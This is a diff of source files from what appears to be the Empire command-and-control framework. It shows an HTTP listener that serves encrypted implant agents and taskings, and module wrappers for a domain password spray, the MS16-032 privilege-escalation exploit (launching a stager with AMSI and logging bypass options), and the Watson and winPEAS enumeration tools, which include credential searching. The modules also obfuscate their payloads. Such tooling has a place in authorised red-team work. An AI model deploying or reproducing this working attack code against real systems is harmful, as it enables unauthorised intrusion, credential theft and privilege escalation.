1266 | hopListener = helpers.get_listener_options(hopListenerName) | |
1267 | tempListenerOptions = copy.deepcopy(listenerOptions) | |
1268 | tempListenerOptions['Host']['Value'] = hopListener['Host']['Value'] | |
1269 | except TypeError: | |
1270 | tempListenerOptions = listenerOptions | |
1271 | ||
1272 | # generate agent | |
1273 | agentCode = self.generate_agent(language=language, listenerOptions=(tempListenerOptions if tempListenerOptions else listenerOptions), obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) | |
1274 | encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) | |
1275 | ||
1276 | # build malleable response with agent | |
1277 | # note: stage1 comms are hard coded, can't use malleable here. | |
1278 | return Response(encryptedAgent, 200, implementation.server.headers) | |
1279 | ||
1280 | elif results[:10].lower().startswith(b'error') or results[:10].lower().startswith(b'exception'): | |
1281 | # agent returned an error | |
1282 | message = "[!] Error returned for results by {} : {}".format(clientIP, results) | |
1283 | signal = json.dumps({ | |
1284 | 'print': True, | |
1285 | 'message': message | |
1286 | }) | |
1287 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1288 | ||
1289 | return Response(self.default_response(), 404) | |
1290 | ||
1291 | elif results.startswith(b'ERROR:'): | |
1292 | # error parsing agent data | |
1293 | message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results) | |
1294 | signal = json.dumps({ | |
1295 | 'print': True, | |
1296 | 'message': message | |
1297 | }) | |
1298 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1299 | ||
1300 | if b'not in cache' in results: | |
1301 | # signal the client to restage | |
1302 | print(helpers.color("[*] Orphaned agent from %s, signaling restaging" % (clientIP))) | |
1303 | return make_response("", 401) | |
1304 | ||
1305 | return Response(self.default_response(), 404) | |
1306 | ||
1307 | elif results == b'VALID': | |
1308 | # agent posted results | |
1309 | message = "[*] Valid results returned by {}".format(clientIP) | |
1310 | signal = json.dumps({ | |
1311 | 'print': False, | |
1312 | 'message': message | |
1313 | }) | |
1314 | dispatcher.send(signal, sender="listeners/http/{}".format(listenerName)) | |
1315 | ||
1316 | malleableResponse = implementation.construct_server("") | |
1317 | return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers) | |
1318 | ||
1319 | else: | |
1320 | if request.method == b"POST": | |
1321 | # step 4 of negotiation -> server returns RSA(nonce+AESsession)) | |
1322 | ||
1323 | # log event | |
1324 | message = "[*] Sending session key to {}".format(clientIP) | |
1325 | signal = json.dumps({ | |
1326 | 'print': True, | |
1327 | 'message': message | |
1328 | }) | |
1329 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1330 | ||
1331 | # note: stage 1 negotiation comms are hard coded, so we can't use malleable | |
1332 | return Response(results, 200, implementation.server.headers) | |
1333 | ||
1334 | else: | |
1335 | # agent requested taskings | |
1336 | message = "[*] Agent from {} retrieved taskings".format(clientIP) | |
1337 | signal = json.dumps({ | |
1338 | 'print': False, | |
1339 | 'message': message | |
1340 | }) | |
1341 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1342 | ||
1343 | # build malleable response with results | |
1344 | malleableResponse = implementation.construct_server(results) | |
1345 | if isinstance(malleableResponse.body, str): | |
1346 | malleableResponse.body = malleableResponse.body.encode('latin-1') | |
1347 | return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers) | |
1348 | ||
1349 | else: | |
1350 | # no tasking for agent | |
1351 | message = "[*] Agent from {} retrieved taskings".format(clientIP) | |
1352 | signal = json.dumps({ | |
1353 | 'print': False, | |
1354 | 'message': message | |
1355 | }) | |
1356 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1357 | ||
1358 | # build malleable response with no results | |
1359 | malleableResponse = implementation.construct_server(results) | |
1360 | return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers) | |
1361 | else: | |
1362 | # log error parsing routing packet | |
1363 | message = "[!] Error parsing routing packet from {}: {}.".format(clientIP, str(agentInfo)) | |
1364 | signal = json.dumps({ | |
1365 | 'print': True, | |
1366 | 'message': message | |
1367 | }) | |
1368 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1369 | ||
1370 | # log invalid request | |
1371 | message = "[!] /{} requested by {} with no routing packet.".format(request_uri, clientIP) | |
1372 | signal = json.dumps({ | |
1373 | 'print': True, | |
1374 | 'message': message | |
1375 | }) | |
1376 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1377 | ||
1378 | else: | |
1379 | # log invalid uri | |
1380 | message = "[!] unknown uri /{} requested by {}.".format(request_uri, clientIP) | |
1381 | signal = json.dumps({ | |
1382 | 'print': True, | |
1383 | 'message': message | |
1384 | }) | |
1385 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1386 | ||
1387 | except malleable.MalleableError as e: | |
1388 | # probably an issue with the malleable library, please report it :) | |
1389 | message = "[!] Malleable had trouble handling a request for /{} by {}: {}.".format(request_uri, clientIP, str(e)) | |
1390 | signal = json.dumps({ | |
1391 | 'print': True, | |
1392 | 'message': message | |
1393 | }) | |
1394 | ||
1395 | return Response(self.default_response(), 200) | |
1396 | ||
1397 | try: | |
1398 | if host.startswith('https'): | |
1399 | if certPath.strip() == '' or not os.path.isdir(certPath): | |
1400 | print(helpers.color("[!] Unable to find certpath %s, using default." % certPath)) | |
1401 | certPath = "setup" | |
1402 | certPath = os.path.abspath(certPath) | |
1403 | pyversion = sys.version_info | |
1404 | ||
1405 | # support any version of tls | |
1406 | if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13: | |
1407 | proto = ssl.PROTOCOL_TLS | |
1408 | elif pyversion[0] >= 3: | |
1409 | proto = ssl.PROTOCOL_TLS | |
1410 | else: | |
1411 | proto = ssl.PROTOCOL_SSLv23 | |
1412 | ||
1413 | context = ssl.SSLContext(proto) | |
1414 | context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath)) | |
1415 | app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) | |
1416 | else: | |
1417 | app.run(host=bindIP, port=int(port), threaded=True) | |
1418 | except Exception as e: | |
1419 | print(helpers.color("[!] Listener startup on port %s failed - %s: %s" % (port, e.__class__.__name__, str(e)))) | |
1420 | message = "[!] Listener startup on port {} failed - {}: {}".format(port, e.__class__.__name__, str(e)) | |
1421 | signal = json.dumps({ | |
1422 | 'print': True, | |
1423 | 'message': message | |
1424 | }) | |
1425 | dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName)) | |
1426 | ||
1427 | def start(self, name=''): | |
1428 | """ | |
1429 | Start a threaded instance of self.start_server() and store it in | |
1430 | the self.threads dictionary keyed by the listener name. | |
1431 | """ | |
1432 | listenerOptions = self.options | |
1433 | if name and name != '': | |
1434 | self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) | |
1435 | self.threads[name].start() | |
1436 | time.sleep(1) | |
1437 | # returns True if the listener successfully started, false otherwise | |
1438 | return self.threads[name].is_alive() | |
1439 | else: | |
1440 | name = listenerOptions['Name']['Value'] | |
1441 | self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) | |
1442 | self.threads[name].start() | |
1443 | time.sleep(1) | |
1444 | # returns True if the listener successfully started, false otherwise | |
1445 | return self.threads[name].is_alive() | |
1446 | ||
1447 | def shutdown(self, name=''): | |
1448 | """ | |
1449 | Terminates the server thread stored in the self.threads dictionary, | |
1450 | keyed by the listener name. | |
1451 | """ | |
1452 | ||
1453 | if name and name != '': | |
1454 | print(helpers.color("[!] Killing listener '%s'" % (name))) | |
1455 | self.threads[name].kill() | |
1456 | else: | |
1457 | print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))) | |
1458 | self.threads[self.options['Name']['Value']].kill() | |
1459 | ||
1460 | def generate_cookie(self): | |
1461 | """ | |
1462 | Generate Cookie | |
1463 | """ | |
1464 | ||
1465 | chars = string.ascii_letters | |
1466 | cookie = helpers.random_string(random.randint(6,16), charset=chars) | |
1467 | ||
1468 | return cookie |
122 | 122 | 'Required' : False, |
123 | 123 | 'Value' : '' |
124 | 124 | }, |
125 | 'SlackToken' : { | |
126 | 'Description' : 'Your SlackBot API token to communicate with your Slack instance.', | |
125 | 'SlackURL' : { | |
126 | 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
127 | 127 | 'Required' : False, |
128 | 128 | 'Value' : '' |
129 | }, | |
130 | 'SlackChannel' : { | |
131 | 'Description' : 'The Slack channel or DM that notifications will be sent to.', | |
132 | 'Required' : False, | |
133 | 'Value' : '#general' | |
134 | 129 | } |
135 | 130 | } |
136 | 131 |
126 | 126 | 'Required': True, |
127 | 127 | 'Value': "https://login.live.com/oauth20_desktop.srf" |
128 | 128 | }, |
129 | 'SlackToken': { | |
130 | 'Description': 'Your SlackBot API token to communicate with your Slack instance.', | |
129 | 'SlackURL': { | |
130 | 'Description': 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
131 | 131 | 'Required': False, |
132 | 132 | 'Value': '' |
133 | }, | |
134 | 'SlackChannel': { | |
135 | 'Description': 'The Slack channel or DM that notifications will be sent to.', | |
136 | 'Required': False, | |
137 | 'Value': '#general' | |
138 | 133 | } |
139 | 134 | } |
140 | 135 |
123 | 123 | 'Required' : False, |
124 | 124 | 'Value' : 'default' |
125 | 125 | }, |
126 | 'SlackToken' : { | |
127 | 'Description' : 'Your SlackBot API token to communicate with your Slack instance.', | |
128 | 'Required' : False, | |
129 | 'Value' : '' | |
130 | }, | |
131 | 'SlackChannel' : { | |
132 | 'Description' : 'The Slack channel or DM that notifications will be sent to.', | |
133 | 'Required' : False, | |
134 | 'Value' : '#general' | |
126 | 'SlackURL' : { | |
127 | 'Description' : 'Your Slack Incoming Webhook URL to communicate with your Slack instance.', | |
128 | 'Required' : False, | |
129 | 'Value' : '' | |
135 | 130 | } |
136 | 131 | } |
137 | 132 |
0 | from __future__ import print_function | |
1 | from builtins import str | |
2 | from builtins import object | |
3 | from lib.common import helpers | |
4 | ||
5 | ||
6 | class Module(object): | |
7 | ||
8 | def __init__(self, mainMenu, params=[]): | |
9 | ||
10 | # Metadata info about the module, not modified during runtime | |
11 | self.info = { | |
12 | # Name for the module that will appear in module menus | |
13 | 'Name': 'DomainPasswordSpray', | |
14 | ||
15 | # List of one or more authors for the module | |
16 | 'Author': ['@dafthack'], | |
17 | ||
18 | # More verbose multi-line description of the module | |
19 | 'Description': ("DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack " | |
20 | "against users of a domain."), | |
21 | ||
22 | 'Software': '', | |
23 | ||
24 | 'Techniques': ['T1110'], | |
25 | ||
26 | # True if the module needs to run in the background | |
27 | 'Background': False, | |
28 | ||
29 | # File extension to save the file as | |
30 | 'OutputExtension': None, | |
31 | ||
32 | # True if the module needs admin rights to run | |
33 | 'NeedsAdmin': False, | |
34 | ||
35 | # True if the method doesn't touch disk/is reasonably opsec safe | |
36 | 'OpsecSafe': True, | |
37 | ||
38 | # The language for this module | |
39 | 'Language': 'powershell', | |
40 | ||
41 | # The minimum PowerShell version needed for the module to run | |
42 | 'MinLanguageVersion': '2', | |
43 | ||
44 | # List of any references/other comments | |
45 | 'Comments': [ | |
46 | 'https://github.com/dafthack/DomainPasswordSpray' | |
47 | ] | |
48 | } | |
49 | ||
50 | # Any options needed by the module, settable during runtime | |
51 | self.options = { | |
52 | # Format: | |
53 | # value_name : {description, required, default_value} | |
54 | 'Agent': { | |
55 | # The 'Agent' option is the only one that MUST be in a module | |
56 | 'Description': 'Agent to run on.', | |
57 | 'Required': True, | |
58 | 'Value': '' | |
59 | }, | |
60 | 'UserList': { | |
61 | 'Description': 'Optional UserList parameter. This will be generated automatically if not specified. ', | |
62 | 'Required': False, | |
63 | 'Value': '', | |
64 | }, | |
65 | 'Password': { | |
66 | 'Description': 'A single password that will be used to perform the password spray.', | |
67 | 'Required': False, | |
68 | 'Value': '', | |
69 | }, | |
70 | 'PasswordList': { | |
71 | 'Description': 'A list of passwords one per line to use for the password spray ' | |
72 | '(File must be loaded from the target machine).', | |
73 | 'Required': False, | |
74 | 'Value': '', | |
75 | }, | |
76 | 'OutFile': { | |
77 | 'Description': 'A file to output the results to.', | |
78 | 'Required': False, | |
79 | 'Value': '', | |
80 | }, | |
81 | 'Domain': { | |
82 | 'Description': 'A domain to spray against.', | |
83 | 'Required': False, | |
84 | 'Value': '', | |
85 | }, | |
86 | } | |
87 | ||
88 | # Save off a copy of the mainMenu object to access external | |
89 | # functionality like listeners/agent handlers/etc. | |
90 | self.mainMenu = mainMenu | |
91 | ||
92 | # During instantiation, any settable option parameters are passed as | |
93 | # an object set to the module and the options dictionary is | |
94 | # automatically set. This is mostly in case options are passed on | |
95 | # the command line. | |
96 | if params: | |
97 | for param in params: | |
98 | # Parameter format is [Name, Value] | |
99 | option, value = param | |
100 | if option in self.options: | |
101 | self.options[option]['Value'] = value | |
102 | ||
103 | def generate(self, obfuscate=False, obfuscationCommand=""): | |
104 | # First method: Read in the source script from module_source | |
105 | module_source = self.mainMenu.installPath + "/data/module_source/credentials/DomainPasswordSpray.ps1" | |
106 | if obfuscate: | |
107 | helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand) | |
108 | module_source = module_source.replace("module_source", "obfuscated_module_source") | |
109 | try: | |
110 | f = open(module_source, 'r') | |
111 | except: | |
112 | print(helpers.color("[!] Could not read module source path at: " + str(module_source))) | |
113 | return "" | |
114 | ||
115 | module_code = f.read() | |
116 | f.close() | |
117 | ||
118 | script = module_code | |
119 | script_end = 'Invoke-DomainPasswordSpray' | |
120 | ||
121 | for option,values in self.options.items(): | |
122 | if option.lower() != "agent": | |
123 | if values['Value'] and values['Value'] != '': | |
124 | if values['Value'].lower() == "true": | |
125 | # if we're just adding a switch | |
126 | script_end += " -" + str(option) | |
127 | elif values['Value'].lower() == "false": | |
128 | pass | |
129 | else: | |
130 | script_end += " -" + str(option) + " " + str(values['Value']) | |
131 | ||
132 | script_end += ' -Force;' | |
133 | if obfuscate: | |
134 | script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath, | |
135 | obfuscationCommand=obfuscationCommand) | |
136 | script += script_end | |
137 | script = helpers.keyword_obfuscation(script) | |
138 | ||
139 | return script |
72 | 72 | 'Value': 'False' |
73 | 73 | }, |
74 | 74 | 'ComputerName' : { |
75 | 'Description' : 'Host[s] to execute the stager on, comma separated.', | |
75 | 'Description' : 'Host to execute the stager on.', | |
76 | 76 | 'Required' : True, |
77 | 77 | 'Value' : '' |
78 | 78 | }, |
22 | 22 | |
23 | 23 | 'Techniques': ['T1068'], |
24 | 24 | |
25 | 'Background' : True, | |
25 | 'Background': True, | |
26 | 26 | |
27 | 'OutputExtension' : None, | |
27 | 'OutputExtension': None, | |
28 | 28 | |
29 | 'NeedsAdmin' : False, | |
29 | 'NeedsAdmin': False, | |
30 | 30 | |
31 | 'OpsecSafe' : False, | |
32 | ||
33 | 'Language' : 'powershell', | |
31 | 'OpsecSafe': False, | |
34 | 32 | |
35 | 'MinLanguageVersion' : '2', | |
33 | 'Language': 'powershell', | |
34 | ||
35 | 'MinLanguageVersion': '2', | |
36 | 36 | |
37 | 37 | 'Comments': [ |
38 | 38 | 'Credit to James Forshaw (@tiraniddo) for exploit discovery and', |
43 | 43 | } |
44 | 44 | |
45 | 45 | self.options = { |
46 | 'Agent' : { | |
47 | 'Description' : 'Agent to run module on.', | |
48 | 'Required' : True, | |
49 | 'Value' : '' | |
46 | 'Agent': { | |
47 | 'Description': 'Agent to run module on.', | |
48 | 'Required': True, | |
49 | 'Value': '' | |
50 | 50 | }, |
51 | 'Listener' : { | |
52 | 'Description' : 'Listener to use.', | |
53 | 'Required' : True, | |
54 | 'Value' : '' | |
51 | 'Listener': { | |
52 | 'Description': 'Listener to use.', | |
53 | 'Required': True, | |
54 | 'Value': '' | |
55 | 55 | }, |
56 | 'UserAgent' : { | |
57 | 'Description' : 'User-agent string to use for the staging request (default, none, or other).', | |
58 | 'Required' : False, | |
59 | 'Value' : 'default' | |
56 | 'UserAgent': { | |
57 | 'Description': 'User-agent string to use for the staging request (default, none, or other).', | |
58 | 'Required': False, | |
59 | 'Value': 'default' | |
60 | 60 | }, |
61 | 'Proxy' : { | |
62 | 'Description' : 'Proxy to use for request (default, none, or other).', | |
63 | 'Required' : False, | |
64 | 'Value' : 'default' | |
61 | 'Proxy': { | |
62 | 'Description': 'Proxy to use for request (default, none, or other).', | |
63 | 'Required': False, | |
64 | 'Value': 'default' | |
65 | 65 | }, |
66 | 'ProxyCreds' : { | |
67 | 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', | |
68 | 'Required' : False, | |
69 | 'Value' : 'default' | |
66 | 'ProxyCreds': { | |
67 | 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', | |
68 | 'Required': False, | |
69 | 'Value': 'default' | |
70 | 70 | } |
71 | 71 | } |
72 | 72 | |
78 | 78 | if option in self.options: |
79 | 79 | self.options[option]['Value'] = value |
80 | 80 | |
81 | def generate(self, obfuscate=False, obfuscationCommand=""): | |
81 | 82 | |
82 | def generate(self, obfuscate=False, obfuscationCommand=""): | |
83 | ||
84 | 83 | moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1" |
85 | 84 | if obfuscate: |
86 | 85 | helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) |
102 | 101 | l.options['UserAgent']['Value'] = self.options['UserAgent']['Value'] |
103 | 102 | l.options['Proxy']['Value'] = self.options['Proxy']['Value'] |
104 | 103 | l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value'] |
104 | l.options['SafeChecks']['Value'] = 'False' | |
105 | l.options['ScriptLogBypass']['Value'] = 'False' | |
106 | l.options['AMSIBypass']['Value'] = 'False' | |
105 | 107 | l.options['Base64']['Value'] = 'False' |
106 | 108 | launcherCode = l.generate() |
107 | 109 | |
108 | 110 | # need to escape characters |
109 | launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'") | |
110 | ||
111 | scriptEnd = 'Invoke-MS16032 -Command "' + launcherCode + '"' | |
111 | launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"", "'") | |
112 | ||
113 | scriptEnd = 'Invoke-MS16-032 "' + launcherCode + '"' | |
112 | 114 | scriptEnd += ';"`nInvoke-MS16032 completed."' |
113 | 115 | |
114 | 116 | if obfuscate: |
115 | scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) | |
117 | scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, | |
118 | obfuscationCommand=obfuscationCommand) | |
116 | 119 | script += scriptEnd |
117 | 120 | script = helpers.keyword_obfuscation(script) |
118 | 121 | |
119 | 122 | return script |
120 |
0 | from __future__ import print_function | |
1 | ||
2 | from builtins import str | |
3 | ||
4 | from lib.common import helpers | |
5 | ||
6 | ||
7 | class Module: | |
8 | def __init__(self, mainMenu, params=[]): | |
9 | self.info = { | |
10 | 'Name': 'Invoke-Watson', | |
11 | ||
12 | 'Author': ['@_RastaMouse', '@S3cur3Th1sSh1t'], | |
13 | ||
14 | 'Description': ('Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.'), | |
15 | ||
16 | 'Software': '', | |
17 | ||
18 | 'Techniques': ['T1068'], | |
19 | ||
20 | 'Background': True, | |
21 | ||
22 | 'OutputExtension': None, | |
23 | ||
24 | 'NeedsAdmin': False, | |
25 | ||
26 | 'OpsecSafe': True, | |
27 | ||
28 | 'Language': 'powershell', | |
29 | ||
30 | 'MinLanguageVersion': '4', | |
31 | ||
32 | 'Comments': [ | |
33 | 'https://github.com/rasta-mouse/Watson' | |
34 | ] | |
35 | } | |
36 | # any options needed by the module, settable during runtime | |
37 | self.options = { | |
38 | # format: | |
39 | # value_name : {description, required, default_value} | |
40 | 'Agent': { | |
41 | 'Description': 'Agent to run module on.', | |
42 | 'Required': True, | |
43 | 'Value': '' | |
44 | } | |
45 | } | |
46 | # save off a copy of the mainMenu object to access external functionality | |
47 | # like listeners/agent handlers/etc. | |
48 | self.mainMenu = mainMenu | |
49 | for param in params: | |
50 | # parameter format is [Name, Value] | |
51 | option, value = param | |
52 | if option in self.options: | |
53 | self.options[option]['Value'] = value | |
54 | ||
55 | def generate(self, obfuscate=False, obfuscationCommand=""): | |
56 | moduleName = self.info["Name"] | |
57 | ||
58 | # read in the common powerup.ps1 module source code | |
59 | moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Watson.ps1" | |
60 | if obfuscate: | |
61 | helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) | |
62 | moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") | |
63 | try: | |
64 | f = open(moduleSource, 'r') | |
65 | except: | |
66 | print(helpers.color("[!] Could not read module source path at: " + str(moduleSource))) | |
67 | return "" | |
68 | moduleCode = f.read() | |
69 | f.close() | |
70 | # # get just the code needed for the specified function | |
71 | # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) | |
72 | script = moduleCode | |
73 | scriptEnd = "Invoke-Watson" | |
74 | ||
75 | if obfuscate: | |
76 | scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, | |
77 | obfuscationCommand=obfuscationCommand) | |
78 | script += scriptEnd | |
79 | script = helpers.keyword_obfuscation(script) | |
80 | ||
81 | return script |
0 | from __future__ import print_function | |
1 | from builtins import str | |
2 | from builtins import object | |
3 | from lib.common import helpers | |
4 | ||
5 | ||
6 | class Module(object): | |
7 | ||
8 | def __init__(self, mainMenu, params=[]): | |
9 | ||
10 | # Metadata info about the module, not modified during runtime | |
11 | self.info = { | |
12 | # Name for the module that will appear in module menus | |
13 | 'Name': 'Invoke-winPEAS', | |
14 | ||
15 | # List of one or more authors for the module | |
16 | 'Author': ['@carlospolop', '@S3cur3Th1sSh1t'], | |
17 | ||
18 | # More verbose multi-line description of the module | |
19 | 'Description': ("WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts."), | |
20 | ||
21 | 'Software': '', | |
22 | ||
23 | 'Techniques': ['T1046'], | |
24 | ||
25 | # True if the module needs to run in the background | |
26 | 'Background': False, | |
27 | ||
28 | # File extension to save the file as | |
29 | 'OutputExtension': None, | |
30 | ||
31 | # True if the module needs admin rights to run | |
32 | 'NeedsAdmin': False, | |
33 | ||
34 | # True if the method doesn't touch disk/is reasonably opsec safe | |
35 | 'OpsecSafe': True, | |
36 | ||
37 | # The language for this module | |
38 | 'Language': 'powershell', | |
39 | ||
40 | # The minimum PowerShell version needed for the module to run | |
41 | 'MinLanguageVersion': '4', | |
42 | ||
43 | # List of any references/other comments | |
44 | 'Comments': [ | |
45 | 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS' | |
46 | ] | |
47 | } | |
48 | ||
49 | # Any options needed by the module, settable during runtime | |
50 | self.options = { | |
51 | # Format: | |
52 | # value_name : {description, required, default_value} | |
53 | 'Agent': { | |
54 | # The 'Agent' option is the only one that MUST be in a module | |
55 | 'Description': 'Agent to run on.', | |
56 | 'Required': True, | |
57 | 'Value': '' | |
58 | }, | |
59 | 'Full': { | |
60 | 'Description': 'Default all checks (except CMD checks) are executed', | |
61 | 'Required': False, | |
62 | 'Value': 'True', | |
63 | }, | |
64 | 'Searchfast': { | |
65 | 'Description': 'Avoid sleeping while searching files (notable amount of resources).', | |
66 | 'Required': False, | |
67 | 'Value': '', | |
68 | }, | |
69 | 'Searchall': { | |
70 | 'Description': 'Search all known filenames whith possible credentials.', | |
71 | 'Required': False, | |
72 | 'Value': '', | |
73 | }, | |
74 | 'Cmd': { | |
75 | 'Description': 'Obtain wifi, cred manager and clipboard information executing CMD commands.', | |
76 | 'Required': False, | |
77 | 'Value': '', | |
78 | }, | |
79 | 'Systeminfo': { | |
80 | 'Description': 'Search system information.', | |
81 | 'Required': False, | |
82 | 'Value': '', | |
83 | }, | |
84 | 'Userinfo': { | |
85 | 'Description': 'Search user information.', | |
86 | 'Required': False, | |
87 | 'Value': '', | |
88 | }, | |
89 | 'Procesinfo': { | |
90 | 'Description': 'Search processes information.', | |
91 | 'Required': False, | |
92 | 'Value': '', | |
93 | }, | |
94 | 'Servicesinfo': { | |
95 | 'Description': 'Search services information.', | |
96 | 'Required': False, | |
97 | 'Value': '', | |
98 | }, | |
99 | 'Applicationsinfo': { | |
100 | 'Description': 'Search installed applications information.', | |
101 | 'Required': False, | |
102 | 'Value': '', | |
103 | }, | |
104 | 'Networkinfo': { | |
105 | 'Description': 'Search network information.', | |
106 | 'Required': False, | |
107 | 'Value': '', | |
108 | }, | |
109 | 'Windowscreds': { | |
110 | 'Description': 'Search windows information.', | |
111 | 'Required': False, | |
112 | 'Value': '', | |
113 | }, | |
114 | 'Browserinfo': { | |
115 | 'Description': 'Search browser information.', | |
116 | 'Required': False, | |
117 | 'Value': '', | |
118 | }, | |
119 | 'Filesinfo': { | |
120 | 'Description': 'Search files that can contains credentials.', | |
121 | 'Required': False, | |
122 | 'Value': '', | |
123 | }, | |
124 | 'Color': { | |
125 | 'Description': 'Enable colored output.', | |
126 | 'Required': True, | |
127 | 'Value': 'True', | |
128 | }, | |
129 | } | |
130 | ||
131 | # Save off a copy of the mainMenu object to access external | |
132 | # functionality like listeners/agent handlers/etc. | |
133 | self.mainMenu = mainMenu | |
134 | ||
135 | # During instantiation, any settable option parameters are passed as | |
136 | # an object set to the module and the options dictionary is | |
137 | # automatically set. This is mostly in case options are passed on | |
138 | # the command line. | |
139 | if params: | |
140 | for param in params: | |
141 | # Parameter format is [Name, Value] | |
142 | option, value = param | |
143 | if option in self.options: | |
144 | self.options[option]['Value'] = value | |
145 | ||
146 | def generate(self, obfuscate=False, obfuscationCommand=""): | |
147 | # First method: Read in the source script from module_source | |
148 | module_source = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-winPEAS.ps1" | |
149 | if obfuscate: | |
150 | helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand) | |
151 | module_source = module_source.replace("module_source", "obfuscated_module_source") | |
152 | try: | |
153 | f = open(module_source, 'r') | |
154 | except: | |
155 | print(helpers.color("[!] Could not read module source path at: " + str(module_source))) | |
156 | return "" | |
157 | ||
158 | module_code = f.read() | |
159 | f.close() | |
160 | ||
161 | script = module_code | |
162 | script_end = 'Invoke-winPEAS -Command "' | |
163 | ||
164 | # Add any arguments to the end execution of the script | |
165 | if self.options['Searchfast']['Value'].lower() == 'true': | |
166 | script_end += " searchfast" | |
167 | if self.options['Searchall']['Value'].lower() == 'true': | |
168 | script_end += " searchall" | |
169 | if self.options['Cmd']['Value'].lower() == 'true': | |
170 | script_end += " cmd" | |
171 | if self.options['Systeminfo']['Value'].lower() == 'true': | |
172 | script_end += " systeminfo" | |
173 | if self.options['Userinfo']['Value'].lower() == 'true': | |
174 | script_end += " userinfo" | |
175 | if self.options['Procesinfo']['Value'].lower() == 'true': | |
176 | script_end += " procesinfo" | |
177 | if self.options['Servicesinfo']['Value'].lower() == 'true': | |
178 | script_end += " servicesinfo" | |
179 | if self.options['Applicationsinfo']['Value'].lower() == 'true': | |
180 | script_end += " applicationsinfo" | |
181 | if self.options['Networkinfo']['Value'].lower() == 'true': | |
182 | script_end += " networkinfo" | |
183 | if self.options['Windowscreds']['Value'].lower() == 'true': | |
184 | script_end += " windowscreds" | |
185 | if self.options['Browserinfo']['Value'].lower() == 'true': | |
186 | script_end += " browserinfo" | |
187 | if self.options['Filesinfo']['Value'].lower() == 'true': | |
188 | script_end += " filesinfo" | |
189 | if self.options['Color']['Value'].lower() == 'false': | |
190 | script_end += " notansi" | |
191 | if self.options['Full']['Value'].lower() == 'true': | |
192 | script_end += " +" | |
193 | ||
194 | script_end = script_end.replace('" ', '"') | |
195 | script_end += '"' | |
196 | ||
197 | if obfuscate: | |
198 | script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath, | |
199 | obfuscationCommand=obfuscationCommand) | |
200 | script += script_end | |
201 | script = helpers.keyword_obfuscation(script) | |
202 | ||
203 | return script |